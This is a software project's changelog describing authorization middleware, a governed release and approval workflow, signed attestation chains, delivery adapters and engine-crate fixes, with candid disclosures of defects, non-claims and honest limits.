  • GET /ops/authz/explain?route=&method= (Admin on global) returns the caller’s OWN verdict and reason. It deliberately refuses a ?roles= set (400 authz_explain_role_set_refused) — it will never answer “what would another role get” — and answers a probe-blind 404 for an ungated route. The Admin gate is consulted before any query validation, so the surface is not a probe.
  • BRAIN_RBAC_ROLELESS_POSTURE (pass | deny, default pass) selects how a principal with an EMPTY roles claim is treated. Unknown values refuse boot; the resolved value is printed at boot and echoed on explain. The middleware itself has no off switch.

Corrections to the record (found and measured, not assumed)

  • CAN_ACTIONS does name workflow, and the shipped workflow-operator preset grants exactly can:["workflow"]. Two in-tree comments claimed otherwise; both are corrected. The agent remains refused on the workflow surfaces — for the correct reason: the agent’s own preset role holds can:["read","write","reject"].
  • The route_guards module doc claimed the module was “compiled nowhere outside test builds”. It is production data and always has been (pub at server/router/mod.rs, consumed by both auth middlewares). The claim is removed, because a comment that lies about where code is compiled is a wire-adjacent defect.
  • A live authorization defect, found and NOT fixed by this round: the KCS publish gate calls authorize_role(.., "publish"), but publish is not in CAN_ACTIONS and role::validate rejects it, so no role row can hold it. KCS article publication is therefore impossible for every role-bearing principal, including the admin preset; only role-less JWT principals and the unconfigured superuser can publish. The fix is minting publish into CAN_ACTIONS, which this round’s frozen-vocabulary rule forbids. The capability is declared in a named DENY_ONLY_CAPABILITIES class and the premise is pinned so it cannot drift silently.

Disclosed non-claims

  • The middleware enforces the ROUTE COVERAGE property, the deny-only capability class, and the public/exempt deferrals. It does not enforce the per-route role CAPABILITY or the scope ACTION: the capability cannot move to a (path, method) layer because the publish gate is conditional on a request body field, and the action already agrees with the handlers by construction. The handlers’ own authorize / authorize_role remain the inner gate.
  • The agent principal class is refused by the handlers, not by this middleware: measured against the authz matrix, /reindex is an Admin row yet the agent receives a 200 soft-deny, so the agent’s per-route posture is not derivable from the action column and reproducing it here would be a second source of truth.
  • This is not an ACL engine and not tenant isolation. tenant_id is audit-scoping and DSAR partitioning; no row-level isolation exists.

Wire

  • One additive route: GET /ops/authz/explain. openapi.yaml + OPENAPI_ROUTES + AUTHZ_GATES + all four spire floors move in one commit. No new table, no schema stamp, no migration, no new dependency edge (root [dependencies] still exactly 51; Cargo.lock byte-identical).

Unreleased — R45-0 “Correction”

Release notes

Security fixes

  • The audit chain’s mechanism is now described accurately wherever it is published. We previously described it as an Ed25519-signed hash-chained audit; that was two layers described as one. The chain is a keyed HMAC-SHA256 hash chain — chain_link is SHA-256 over five pipe-delimited fields in the legacy epoch, and HMAC-SHA256 over eight length-prefixed fields once keyed. Ed25519 signs other artifacts — standby manifests, parcels, provenance marks — at the boundaries; the audit chain is never signed per row. The signing key for the chain is not stored with the record, so an attacker with database access who rewrites history still cannot forge a valid chain. This round changes what we SAY; no verdict, key, epoch, check, or audit row changes (the chain module is byte-untouched and pinned as such).

Engineering record

  • Two preregistered measurements: the real audit-append rate (the “crypto is a small share of append cost” figure was an estimate from primitive costs and is now retired in favour of a measured rate), and a false-positive-rate benchmark over a 500+ row benign corpus with a one-sided Clopper-Pearson upper bound at 95%, reported per surface and never blended.
  • New brain bench audit-append subcommand (bench-gated, off by default).
  • Zero new dependency edges; the Clopper-Pearson bound is hand-rolled from f64::ln_gamma and the regularized incomplete beta.

Release-notes convention (v1.21.0+): every section splits into ### Release notes (written for USERS — Bug fixes / Improvements / Security fixes, marked “None” when a category is empty) followed by ### Engineering record (the milestone detail, validation counts, honest ceilings). The release workflow publishes ONLY the ### Release notes block as the GitHub release body (older sections fall back to the intro paragraph) and strips internal references (implementation plans, agent history) before publishing.

Honesty note: retrieval-quality claims below describe what the code does, not measured parity against external engines (e.g. QMD). Where a benchmark has not been run, it is marked pending rather than asserted.

[Unreleased] — 2026-09-28 — “Operate”: the derived delivery read model, and the delivery line’s close

Release notes

Improvements

  • GET /workflow/delivery/outcomes?domain=&window= serves the derived delivery read model: throughput and instability as ONE coupled cluster over the domain’s own audited release rows and authority-fact findings, computed read-time only — no table, no schema stamp, no writer, no egress. The window is days, default 30, bounded 1..=366 and validated in the core (out of bounds is a 400, never a silent clamp); the derivation is deterministic for (window, now). Every metric carries a typed state — computed with a value, or insufficient with a closed reason — so an absent metric is never rendered 0 and a zero is never rendered absent.
  • Where DORA (DevOps Research and Assessment) names are used at all, the readings carry dora_name + definition_match: proxy + a one-line definition note; the native measures (approval_to_promotion_elapsed, governed_release_cadence) are named natively and never presented as DORA change lead time. Metrics vocabulary only; no thresholds, tables, figures, or performance bands are reproduced anywhere, and the run’s OWN history (own_baseline, a fixed 90-day window) is the only baseline the response carries.

Engineering record

  • The line’s closing round: the delivery line R37→R44 is complete — the pure crate → the run substrate → the engine wiring → the attestation chain → replay-verify → the authority bindings + connectors → releases + promote + the /due crank → the derived read model. Every zero-consumer substrate the line shipped now holds its reader.
  • The change-fail filter law: the signal is the authority contradiction the reconcile writes — a findings row with the CLOSED source vocabulary (source LIKE 'delivery:%') narrowed by the typed confidence column (0.0 is the mismatch arm; the match arm writes 1.0). The claim text is never read: findings.claim is free text, and matching it would be a forged metric. The measured substrate stores the evidence kind as a claim prefix only (no kind column, and the contradictions table carries no source or kind at all), so the typed confidence column is the structured discriminator within the closed family. The denominator is the window’s promoted releases (deployed_at in-window); a contradiction on a run whose release is not promoted in-window is out of the denominator.
  • The change-lead-time honesty branch: commit-anchored change lead time computes only when the release’s commit_sha joins to a recorded vcs commit-time fact (a typed-evidence row whose machine-written evidence slot carries commit_time=, bound to the revision when both name one). No production writer records such a fact today — the adapters fetch facts at call time and persist only claims — so the LIVE branch is insufficient (no_vcs_revision_recorded), the honest answer; the computed branch is implemented and unit-proven over a seeded fact, so the metric is correct the day the facts exist. No timestamp is approximated.
  • Always-honest metrics: failed_deployment_recovery_time and deployment_rework_rate declare insufficient with their reasons always — the two-authority (vcs, ci) surface carries no incident or rework facts.
  • The baseline renders the same typed metric objects as the cluster (an empty baseline is insufficient_history, never a bare number): the plan’s illustrative JSON shows the populated happy path with bare numbers, which cannot express insufficiency; the typed contract governs.
  • Floors re-measured, never inherited: router routes 247→248, crate tests 2276→2301, coverage rows 207→208, authz rows 192→193. The route census widened to nine reads (the registration census to seventeen) in the same commit as the route.
  • The authz matrix drives the outcomes route through all seven principal classes with the required-domain arm; the route is listed in ROLE_GATED_FOR_AGENT (domain-scoped, so the agent cell really reaches it) and deliberately NOT in PRE_GATE_404 — there is no id to resolve; the domain gate answers first.
  • Observed while wiring (pre-existing at the round’s open, disclosed, not fixed here): openapi.yaml carries a duplicated /webhooks/delivery/{kind}: path key (landed with the release round’s openapi edit). Harmless to the string-based gates, but it is a real defect in that file for a future correction to remove.
  • Honest ceilings: the metrics are first-moment statistics over a moving ledger — nothing is persisted, so a historical rate changes when the authority facts arrive late; the change-fail signal is only as complete as the inbound observations (a pipeline that never reconciles looks perfectly compliant); the baseline window is fixed at 90 days by design.

[Unreleased] — 2026-09-28 — “Releases”: the governed release, the approval binding, and the /due crank

Release notes

Improvements

  • POST /workflow/delivery/releases files a governed release: the machine’s proposal to move ONE artifact toward ONE external authority. The kernel names everything that binds — the artifact digest is derived from the run’s own typed-artifact bytes and the authority binding is resolved from the run’s own domain — while the request names only the run, the target kind, the governed ref, the OTel environment, and, honestly optionally, the OTel revision (vcs.repository.ref.revision is Release Candidate — cited by name, never claimed stable).
  • POST /workflow/delivery/releases/{id}/approve records the approval as COLUMNS on the release row (no sixth table), bound THREE-WAY: content digest, authority digest, and the run’s state revision at approval. The expiry is measured from approved_at and is evaluated inside the promote transaction.
  • POST /workflow/delivery/releases/{id}/promote re-verifies everything inside one transaction — the signature chain, the live digest, the authority (drift is a 409), the revision, the approver’s principal, the tier agreement — then hands the pure crate’s total gate the decision, deny-wins, first reason reported. A permitted promotion walks the crate’s one-step-at-a-time transition law, lands promoted, and mints the dispatch intents. Promotion IS the outbox write; nothing here touches the network.
  • POST /workflow/delivery/due is the crank: request-scoped, a bounded batch that drains, every intent re-verified before any network contact, each row marked delivered only on connector success, remaining reported and audited.
  • The run read census completes the DO’s unassigned surface: the domain’s releases and delivery runs (keyset-paginated), and the two id-scoped reads (head, steps), all Read-scoped, probe-blind, and bounded.
  • The phase gate’s prompt disposition now writes a bounded, screened pending question the /answer route consumes — the AskHuman seam is exercisable by route for the first time, and a second prompt while a question is pending is a typed 409.

Security fixes

  • The promotion family is the first route family whose writes leave the host: the agent preset is refused EXPLICITLY in the handlers, before any work (agents hold write:*, so the role gate alone would admit them). The route-guards comment that claimed such a refusal already existed — it did not — is corrected in the same commit.
  • Budgets are enforced at PROMOTION TIME, inside the promote transaction, and fail closed: every enforced budget kind needs explicit, unexhausted headroom, a ledger is built from the operator’s stored rows and never from a default (a default grants nothing), and blast_radius is never enforced (crate law). The hostcall seam the design named is a 30 s wall clock the delivery loop never touches; the re-scope is a measured correction, recorded here.
  • An approval that binds content but not the AUTHORITY is replayable against a different external system, and one that binds both but not the REVISION is replayable across a later phase pass; the approval is therefore bound to all three, re-verified inside the promote transaction, with drift failing closed.
  • A crash between commit and send can never double-release: promotion IS the outbox write (durable, UNIQUE-keyed intents), and the crank’s dispatch is a read through the pinned exact-host path, marked delivered only on connector success.
  • The ledger’s belief moves only when the inbound authority observation reconciles: the reconcile path records verified_at on a match (promoted → verified via the crate’s transition law); the crank never writes it.

Bug fixes

  • resolve_binding selects delivery_bindings.secret_file_name, but the bindings batch never created the column and the provisioner never wrote it — the resolver’s first real caller arrives with this round and caught it. The column now ships in the batch (fresh builds), rides a guarded ALTER (existing databases), and the provisioner writes it.

Engineering record

Schema 1.32.17 → 1.32.18. New table delivery_releases (nine-value status CHECK — the pure crate’s ReleaseStatus vocabulary, which does not fit delivery_traces’ trace-vocabulary CHECK; approval columns; the OTel revision/environment columns). PARITY_TABLES and the expected-table census moved with it in the same commit; the refuse-newer probe moved to 1.32.19 so it keeps testing Greater.

The chain writer now carries the run’s admission policy into every signed link — the field existed for exactly the comparison the promotion gate makes. A run admitted under no policy still refuses, fail-closed.

The pin asserting the intents were “demonstrably undispatchable” is re-scoped to its positive successor, in the same commit as the code that breaks it: an intent leaves pending only through a promotion that minted it, and the drain re-verifies before any network contact. The route census pins are re-scoped the same way (eight writes, eight reads). The comment guard’s law held: zero round labels in src/ production comments.

Honest ceilings.

  • An already-granted approval is not independently revokable this round: the mitigations are the expiry window (measured from approved_at), the principal kill-switch checked inside the promote transaction, and the three-way digest binding. A revocation mechanism for the ARTIFACT itself is a new decision, not an omission silently inherited.
  • The DSAR sweep gains no delivery arm: approval evidence is the authorization artifact, not an identity record, and pruning it would unexplain a promotion. Widening the sweep is a new decision.
  • Promotion audit rows ride AuditKind::Workflow in audit_events, and the audit-retention prune is kind-blind: promotion evidence ages exactly like every other audit row, per the operator’s BRAIN_AUDIT_RETENTION_DAYS. The durable lifecycle record is the release row itself, which no retention pass touches, so a pruned promotion is still explained by its row.
  • Step-up/re-authentication is ABSENT: the digest-in-hand pattern is co-presence, not freshness. The approval’s freshness law is the expiry window, named here rather than overstated.
  • The crank’s dispatch is a READ through the pinned adapter path (the only egress the tree has); the external state change is made by the operator’s own pipeline, not by this server, and the intent is drained when that observation contact succeeds.
  • Multi-subject chains refuse: the crate’s law requires every link to describe the same artifact, so a run mixing artifact and phase-only links in its chain promotes nothing (reported as attestation_chain_broken, first in push order).

None for these categories is not claimed anywhere: this entry asserts what the code does, not a conformance, certification, or compliance finding. No AI Act / CRA / GDPR / DORA conclusion is drawn or claimable from any of it; the project envelope is not DSSE; a verifying chain is well-formed and digest-bound, NOT authenticated.

[Unreleased] — 2026-09-27 — “Bindings”: the machine’s standing authority to read an external system

Release notes

Improvements

  • GET /workflow/delivery/bindings?domain=… lists the external authorities a domain is configured to read, with the operator’s declared capability surface and a pending-intent census. Read on the domain plus the workflow role.
  • Two read-only adapters (vcs for repository commits/statuses, ci for GitHub Actions runs) read authority facts through the existing pinned egress family.
  • Signed delivery intents are minted with a kernel-only key and are demonstrably undispatchable — the release act belongs to the promote gate, which does not exist yet.
  • /metrics gains brain_delivery_intents_pending and brain_delivery_untrusted_rows_pending, per domain.

Security fixes

  • The exact-host refusal (https://api.github.com only) is re-implemented for the new adapters and pinned, because the shipped GitHub connector’s copy is private behind a feature gate. A 3xx is refused rather than parsed — under redirect::Policy::none() reqwest returns it as a success.
  • Per-binding secrets ride the existing root-confined reader (symlink-refused, 0600, 16 KiB, no path text in any error). The authority_digest covers the endpoint, the target ref, and the secret’s FILE NAME — never the secret and never its path.
  • delivery_bindings is domain-scoped end to end, and the target_kind CHECK is enforced by the database. There is no write route: consent is given by configuring a binding at boot and withdrawn with active = 0.
  • Boot refuses an invalid bindings profile in the same region as the existing provider gate, so an authority is never provisioned unvalidated.

Bug fixes

  • A reserved outbox topic is now refused as topic_reserved before the topic charset is checked, so a forged reserved topic is answered with the refusal that actually applies rather than a misleading topic_invalid. Its denied audit row is written on that path, so a refused reserved enqueue leaves the same record it always did.

None for these categories is not claimed anywhere: this entry asserts what the code does, not a conformance, certification, or compliance finding.

Engineering record

Schema 1.32.16 → 1.32.17 (the line’s first outbound-egress round). New table delivery_bindings; PARITY_TABLES and the expected-table census moved with it in the same commit. The crate version is unchanged and nothing is pushed or tagged.

The negative census pin that asserted “no fourth delivery_% table” is re-scoped, not deleted: this round IS the fourth table, so the pin now asserts the current census and still fails on a fifth.

Honest ceilings.

  • Intents are minted and left pending with no reader. A non-zero intent gauge is the expected steady state, not an alarm.
  • registry/deploy/pm/incident are declared in the CHECK and are consumer-less — no adapter reads them.
  • The reconcile binds an observation to the most recent active delivery run in the binding’s domain; a domain with two concurrent runs reconciles both to the newest, because nothing in an inbound payload distinguishes them.
  • The adapters read ONE page. The page ceiling is enforced against the response, and following a Link next URL is a future round’s work.
  • NOT DSSE. The project envelope convention, which verifies against no DSSE verifier. Authorship is not authority: a valid signature says the holder of the key signed, and nothing about whether the act was permitted. Whether an external system’s data may be read, retained, or re-published is a question for a human with the contract in hand — a mismatch becomes typed evidence and a human decides. No AI Act, CRA, GDPR, DORA, or HIPAA conclusion is drawn from any of this.

[Unreleased] — 2026-09-26 — “Ledger”: the delivery loop can prove what it did, offline

UNRELEASED — deliberately. The SCHEMA stamp moved to 1.32.16 (a release boundary the refuse-newer law reads), but the CRATE version did not: a version bump drags the SBOM artifact and the generated badge block, and no release is in this round’s scope. The version, the badge, and the SBOM move together when the release round runs.

NOT pushed, NOT tagged. CI is billing-blocked on this repository, so no CI-green claim is made anywhere in this entry. The local battery is recorded in the spine evidence file, item by item, including what was NOT run.

Release notes

Improvements

  • Delivery runs now carry a signed attestation chain. Every phase pass appends ONE link — inside the same transaction as the step row, the compare-and-swap, and the trace row — naming the kernel-derived subject, the artifact digest, the phase, the tier, and the key that signed. The new GET /workflow/delivery/runs/{id}/attestations returns the chain with an unconditional verification verdict: no parameter can switch verification off, and a link that does not verify is reported per link with a named refusal code rather than hidden or downgraded into a mark that reads as verified. The chain is verified offline — no key file, no network, no clock — so anyone holding the chain can re-derive the verdict themselves.
  • A phase pass may now cite the model that acted. The advance body takes an optional model binding; the server resolves it through the model registry and the signed predicate carries that row’s artifact digest, so a model name with no bytes behind it is refused. Registry refusals stay distinct (model_not_registered / model_not_promoted / model_retired / model_digest_missing).
  • Trace rows carry a stored ordinal. delivery_traces gains seq with a UNIQUE(run_id, seq) index, allocated as MAX(seq)+1 in the caller’s transaction. A deleted middle row no longer makes the next write collide.
  • A delivery run’s trace can now be re-derived and checked. Two new reads, GET /workflow/delivery/runs/{id}/replay-verify and GET /workflow/delivery/runs/{id}/trace, give delivery_traces its first readers. The verdict re-computes each row’s content address from its own stored columns and compares it against the address stored beside it, in ordinal order, and separately checks that the ordinal series is contiguous — a gap is reported as an order diff. Models are never re-run: the comparator lives in a crate whose entire dependency set is serde/serde_json/sha2, so the zero-model property is structural, and the verdict says nothing about whether an outcome was correct. A mismatch is returned as data, never as an error status, and both windows are bounded with the bound disclosed in every response.

Security fixes

  • The delivery loop’s read surfaces are now covered by route-level authorization tests. The attestation read shipped with no authz coverage at all: nothing proved a Read-capable principal without the workflow role was refused, and nothing proved a foreign run was probe-blind. The three reads are now in the class matrix, in the role-gated list, and in the probe-blind list, and a seeded test opens a real run and proves the agent class is refused 403 on each of the six — the four writes and the three reads — while the operator is not refused on any of them. (The test asserts the operator is never 403’d, which is the gate property; it does not assert every route returns 200, because two of the writes legitimately return 409 once the phase pass has moved the revision.) A 403-for-everybody is not a gate. Revocation is proven to be not write-scoped: a revoked identity dies at the middleware on the read surfaces too. The keyless-host 409 delivery_attestation_refused is now proven at an HTTP hop, not only at the core, with the posture armed rather than assumed.
  • The delivery read surfaces no longer answer for a run that is not a delivery run. GET .../replay-verify and GET .../trace queried delivery_traces directly and did not check the run’s kind, while every write path resolves its run through the kind-filtered head. Because workflow_runs is shared with the GDL, account, and valet engines, a principal with Read on a domain could pass a non-delivery run id and receive a structurally-valid delivery payload — answering 200 where every write answers 404, which is the existence oracle the module’s probe-blind law exists to prevent. Both reads now resolve the kind-filtered head first, so a foreign-kind run and a missing one are one answer.
  • The trace appendix no longer serves the agent loop’s conversation log. The ddl_* narrative appendix read from the shared agent_session_events table with only the control:* family excluded, so it could return user, assistant, and tool_result rows — the model transcript — to any principal with Read on the run’s domain. The read now filters positively to the ddl_* family, so the appendix is the delivery narrative it is documented to be.
  • A phase pass now refuses to proceed without a usable operator key. An absent key and a refused one are different causes of the same refusal, and neither ever degrades into an unsigned link. On a host with no operator key, a delivery run is created but never advances past its admission. Operators who relied on keyless phase passes will see 409 delivery_attestation_refused — install the operator key (brain ump keygen / the shipped installer) to advance runs.

Consumer-affecting

  • Every stored and published trc_ id changes. The trace id digests the row’s stored ordinal, and the ordinal is new, so ids are re-addressed once. Any consumer that persisted a trace_id across this upgrade must re-read it. Four published response schemas carry trace_id (DeliveryRunCreated, DeliveryRunAdvanced, DeliveryRunAnswered, DeliveryGateVerdict). A database that predates the ordinal column has its existing rows numbered 1..n per run in (created_at, rowid) order, so their stored order is preserved; their ids are still re-addressed.
  • The schema stamp is 1.32.16. A binary built before this release refuses a migrated database by design (refuse_newer_schema); downgrading needs a pre-upgrade backup or a forward build.

Non-claims — these are contract, not disclaimers

  • The attestation envelope is not DSSE. It is the project envelope convention and will not verify against any DSSE verifier.
  • The field names subject_digest / predicate_type / predicate mirror the in-toto Attestation Framework’s Statement v1 model as naming adjacency only. The envelope is not an in-toto Statement and verifies against no in-toto verifier.
  • No SLSA provenance and no SLSA build level is produced or claimed.
  • The IETF WIMSE agent-audit drafts are contemporaneous prior art, not a standard: four drafts, zero RFCs, two of them individual submissions.
  • Authorship is not authority. A verified link proves who signed. There is no PKI, no revocation oracle, and no key epoch, so a rotated key leaves history verifiable, and a signature says nothing about whether the act was permitted.
  • The signed predicate carries 4 of its 13 fields today; gate_verdicts, approval_ref, authority_receipts, and budget_spend stay empty until the rounds that populate them ship. It is not a rich claim.
  • The replay verdict is tamper EVIDENCE over stored bytes, not tamper-proofing. It detects a row whose stored content address and stored columns disagree. It does not survive an attacker who edits a column AND recomputes the address, and it does not bind a trace row to the signed attestation chain — the chain is what binds; this checks. A verified replay authorises nothing: a byte-identical replay is not a compliance finding, and classification, retention, and any legal sufficiency of this output are operator-and-counsel determinations. No AI Act, CRA, GDPR, or operational-resilience conclusion is drawn from it anywhere.
  • POST /workflow/decision-runs/{id}/replay-diff is a different route with the opposite philosophy. It publishes a similar concept under similar wire keys and re-executes the pipeline with a bound model. The two are deliberately not unified and share no code.

Engineering record

  • New table delivery_attestations (twelve columns, the design owner’s list and no others) plus the delivery_traces.seq ordinal; stamp 1.32.16; PARITY_TABLES, expected_tables, and the refuse-newer probe all move in the same commit.
  • src/workflow/attestations.rs (new): the envelope, the signer, the chain writer, and the offline verifier. Module-level #![deny(unsafe_code)]. All cryptography is routed through the shipped ump_integrity stack — a second canonicalizer or a second content hash would be how a signature drifts onto the wrong bytes, and a pin forbids one.
  • One writer. advance() is the only caller of the chain append, and a tree-wide source scan proves exactly one production INSERT exists. The admission, the answer, and the gate each read the chain head into their trace row and append nothing.
  • A migration bug this release found and fixed: the ADD COLUMN for seq defaults every existing row to 0, so a run with three trace rows held three (run_id, 0) pairs and the CREATE UNIQUE INDEX that follows would have failed the migration on exactly the databases the guarded block exists to upgrade. The ordinals are backfilled per run in (created_at, rowid) order before the index is created, and a pin builds a populated pre-ordinal database and proves the upgrade survives it.
  • Three existing pins reversed, deliberately and by name: the delivery route census (four routes → five), the “zero reads” rule (R38’s four-writes-no-reads decision, which the attestation read revokes), and the schema stamp literal. Each was widened rather than deleted, so a sixth route or a seventh stamp still fails.
  • One vacuous check found and rewritten. The old “no GET under the delivery prefix” pin filtered lines containing the path and then looked for get( on that same line — never true, because the method is on a later line. It is now a path-to-method pairing, so a second read would actually be seen.
  • Full record, with the RED→GREEN ledger, the red-proofs, the exact commands and exit codes, the forbidden-path outputs, the re-measured floors, the envelope as shipped, and the honest NOT RUN list: plans/R40_EVIDENCE_ATTESTATIONS_2026-09-26.md in the brain-steward-ip planning repository.

[1.29.2] — 2026-09-26 — “Engines”: the delivery loop grows an executor it can actually call

Internal release. Prepared and tagged locally; not pushed, and deliberately without the CI-green gate. CI is billing-blocked on this repository, so scripts/release.sh can never be satisfied and the gate was bypassed by explicit operator decision, not skipped by accident. Nothing here claims the release passed CI — see “The CI gate was not run”. The full local battery did pass: 2318 tests across all lanes, clippy -D warnings on four shapes, fmt on two targets, lipstyk-gate with zero diagnostics, eight cargo audits, cargo machete, env-truth, badges --selfcheck, and repo-brief all green.

Why a patch line and not a minor one. The duplication-debt ledger (src/dup_guard.rs) requires a new minor line to be earned by burning real duplication debt; DEBT_LEDGER carries a row for 1.29 (14) and this release adds no debt, so opening 1.30 would fail debt_ledger_reflects_reality_and_burns_down_per_line. The house precedent settles it: patch lines carry additive work.

Release notes

Improvements

  • The delivery run lifecycle can now carry a typed artifact on a phase pass. Advancing a run with an artifact files it as a pending proposal in the same transaction as the step row, the compare-and-swap, and the trace row, and returns its proposal_id — so a caller holding that id has evidence that the proposal, the trace, and the audit all committed together, or that none did.
  • Advancing a run into the build phase with an artifact now runs the shipped checkpoint gate: an artifact whose QA evidence is not a live surface is refused before anything is written, with the gate’s own refusal carried through rather than restated.
  • The two engine crates the delivery loop consumes (brain-consensus-core, brain-executor-core) are now described accurately in docs/engine-sdk.md, and that description is machine-checked for the first time.

Security fixes

  • The typed artifact is treated as untrusted input at the route boundary: its content is screened exactly as proposal content is screened, and a rejected artifact is a 400 while a quarantined one is a 409.
  • A client can no longer name the digest of an artifact it supplies. The SHA-256 is derived server-side by the engine; the request body has no digest field to lie with.
  • An executor-produced artifact has no write path to a decision. It files a pending proposal with no disposition and no decision timestamp, and it cannot move the run’s status or its pending question. A model proposes; only the gate disposes.

Engineering record

The round. R39 wires the D2/D3 engines into the delivery run lifecycle and lands the per-phase typed-artifact proposal seam. It adds no new route, no table, no schema stamp, and no migration — src/migration.rs, src/storage_layout.rs, and src/spire_inventory.rs are byte-untouched and LATEST_KNOWN_SCHEMA stays 1.32.15. The seam rides the existing POST /workflow/delivery/runs/{id}/advance.

The route’s CONTRACT moved, and that is disclosed rather than claimed away. No path was added or removed — the composed chain still registers 234 route sites — but the advance route gained an optional artifact request field and the response gained proposal_id, and both openapi.yaml schemas are additionalProperties: false. Leaving the spec frozen would have made it a false contract in both directions: a spec-conformant client would reject every real response, and a strict request validator would reject a valid body. openapi.yaml therefore ships in this release, adding the DeliveryArtifact component, the artifact $ref, proposal_id, and the two new error codes. x-api-version stays at 1.23.0 — that stamp tracks breaking wire changes, and it has not moved since v1.20.1 (the previous release added four routes without moving it either).

That break was invisible to the whole battery, and the pin that now catches it says why. The existing route guards are path-level only — It stayed green because the existing route guards are path-level only — test_openapi_covers_routes proves every path is documented, never that a documented path’s FIELDS match the handler. Nothing in the repository compared a Rust response struct to its schema, so 2317 green tests could not see a spec that no longer described the server. delivery_advance_wire_schema_matches_the_handler is that comparison, scoped to the route this round changed: it parses the response schema’s property keys by indentation (a substring test is vacuous — renaming the field to xproposal_id satisfies contains("proposal_id:")) and asserts exact membership, then checks the request $ref, the component’s existence, and the 409 vocabulary.

Writing that pin surfaced a second defect, in a guard I did not know was load-bearing. My first openapi.yaml edit put a blank line inside the advance path’s folded description. test_openapi_covers_routes scans path keys with a line scanner that treats a blank line as the end of the paths: block — so my blank line silently truncated the scan and the guard reported five routes missing, including three model-registry routes I never touched. The YAML was valid; the scanner was the fragile thing. The fix was to follow the file’s existing convention (no blank lines inside a path block) rather than to weaken the guard, and it is recorded here because the trap is still armed for the next person who adds prose to a spec path.

The typed artifact is a reused shape, not an invention. DeliveryArtifact projects onto the shipped brain_consensus_core::Artifact { id, content, hash }, whose hash is the same sha256(content) the shipped brain_executor_core::artifact_hash computes. delivery_typed_artifact_is_a_shipped_type pins that the two agree byte for byte — a cross-crate consistency pin, because if they ever diverged the digest in the audit and the digest an approver sees would be different digests of the same bytes.

The engine cores, filled. Both crates gained a //! header and #![forbid(unsafe_code)]; neither had either, so they were unsafe-free by accident of a few hundred lines rather than by gate. Four real defects closed:

  1. apply_steering was a silent no-op — it discarded its kind argument (let _ = kind;), returned Ok(agg.clone()), and could never Err, while carrying no todo!/unimplemented!/FIXME marker. Its existing test passed identically with the stub and with a real implementation. All six SteeringKind values are reserved vocabulary with no defined semantics against a two-field Aggregate, and no caller needs a mutation — so the function is now an explicitly declared no-op with an infallible signature. A Result it could never fail made “no mutation needed” indistinguishable from “refused”; removing it means a future round that needs real steering must change the signature deliberately, which is the point.
  2. The critic ceiling tripped one verdict late. The design owner states “5 → pause”; the code compared > 5 against a bare inline literal, so the sixth non-okay verdict paused the run. The ceiling is now a named CRITIC_CEILING const and the comparison is >=, so the fifth pauses. This is a behaviour change in a pure core with no callers; it is disclosed here rather than buried, and the governing text was followed.
  3. "replayExempt" was an accepted QA key with no ExecutorQa field. With no deny_unknown_fields, a nested executorQa.replayExempt validated and was then silently dropped, leaving the gate’s own replay_exempt false — a caller could believe it was exempt while the gate still refused. It is now refused outright. (It failed closed, so this was a false promise, not a bypass.) Listed keys must be fields that exist.
  4. stage_writer dropped artifacts silently. It paired artifacts with kinds through zip, which stops at the shorter of the two: three artifacts and two kinds produced two files and an index that looked complete. It now refuses a mismatched count by name, and returns a Result so the refusal is loud rather than an empty return.

Two pins that were vacuous, and the red-proofs that caught them. Both new source-scanning pins first shipped matching their own test bodies: the forbid(unsafe_code) scan passed on a crate with no attribute at all, because rewriting the attribute to allow also rewrote the string literal inside the assertion. The engine_sdk scan searched only the text after the scaffolds line, which had already removed the very crate names it was checking — so re-classifying a consumed engine as a Scaffold passed green. Both are now scoped to the production region / the bullet including its continuation. Neither would have been caught without deliberately breaking the thing and re-running.

The harness inertness law was NOT reversed — verified, not assumed. The plan recorded that routing the delivery loop through the decision harness would reverse a machine-pinned law, and that the doc comment must not be quietly edited. On measurement the law is documentation only: no test anywhere asserts it, and harness/mod.rs is not in the repository’s include_str! self-inspection inventory. But this release also does not route through the harness — the phase pass calls the two engine cores directly, exactly as the existing code already reads PIPELINE_VERSION from the harness module. Nothing outside the harness reads the harness’s decision_* kind constants, so the declaration is still true and the doc was left alone. The design owner’s “harness consumption” clause is therefore deferred, with the reason.

docs/engine-sdk.md was rot in four places, and is now machine-checked. The file had no machine reader anywhere in the repository. brain-care-core (80 lines, 1 test) was listed Filled beside legal-rules-db (1217 lines, 11 tests) listed as a Scaffold — the smallest “Filled” crate is a fifteenth the size of the largest “Scaffold” one — brain-engine-sdk — the file’s own subject, 13,452 lines and 192 tests — was not listed at all; and brain-delivery-core was described as “ungated: no callers yet”, which the previous release made false by wiring it. The new engine_sdk_crate_map_is_accurate pin deliberately does not compare line counts — size is a bad proxy, and those two numbers are exactly why. It checks the two things that were actually false: every named crate exists on disk and the SDK is listed, and a crate the server actually calls is not classified as a Scaffold.

A compliance pin that landed green — which is the finding. The execution plan for this round asserted a “100%-verifiable defect”: that the repo carried pre-Omnibus EU AI Act dates and that Regulation (EU) 2026/1744 was absent from the compliance reference set. Measured, both were already fixed by v1.28.88 “Clocktruth”: the amending regulation is cited in five live locations and every Annex III statement already reads 2 December 2027. The plan had conflated the Art 50(2) legacy-marking grace end (2026-12-02, real and correctly stamped) with the Annex III start. The genuine gap was narrower — the deployer horizons live in docs and were pinned nowhere in code, since reg_watch holds the Art 50 and general-application clocks and its own comment says the deployer horizons are “tracked in docs, not in code”. So the new ai_act_deployer_horizons_are_stamped_from_the_amending_instrument pin landed green on arrival, which is the correct outcome for a correct document and is itself the evidence that there was no defect to fix. It is a docs-truth pin: it freezes the two horizons and the instrument so the prose cannot drift silently. No conformity, certification, or risk-classification claim is made anywhere, and whether this system is an “AI system”, whether it is high-risk, whether Annex III §8 reaches a review-queue engine, whether Art 50(2) applies, the provider/deployer role, and Art 25(4) written agreements remain operator and counsel determinations.

Supply chain. Two new path dependencies. Diffed against the committed lockfile, the root Cargo.lock gained exactly two [[package]] entries and zero third-party packages — every dependency the two crates name (brain-engine-sdk, hex, serde, serde_json, sha2) was already locked. crates/Cargo.lock did not move (both crates were already workspace members), and neither did the other six lockfiles or shell/pnpm-lock.yaml. One unlocked resolve, --locked everywhere after. All eight cargo audits exit 0; the advisory warnings in the six non-root lockfiles are pre-existing unmaintained and yanked notices in trees this release does not touch, and the root lockfile — the only one that moved — reports zero advisories.

